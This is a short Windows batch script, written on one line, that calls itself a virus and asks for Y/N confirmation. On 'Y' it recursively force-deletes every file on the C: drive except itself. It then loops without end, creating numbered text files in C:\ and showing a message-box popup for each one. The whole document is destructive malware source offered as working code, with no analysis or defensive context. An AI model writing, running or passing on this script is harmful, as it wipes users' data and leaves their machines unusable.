@echo off setlocal enabledelayedexpansion :: Ask the user if they want to execute the script echo This is a virus! Wanna execute? [Y/N] set /p answer= :: Check the user's response if /i "%answer%" == "Y" ( :: Delete all files on the computer, except for the script itself for /r C:\ %%f in (*) do ( if not "%%f" == "%0" ( del /q /f "%%f" ) ) :: Create new files indefinitely set count=0 :loop set /a count+=1 set filename=C:\random_file_!count!.txt echo This is a random file !count! > !filename! msg * New file created: !filename! goto loop ) else ( echo Aborted! pause exit )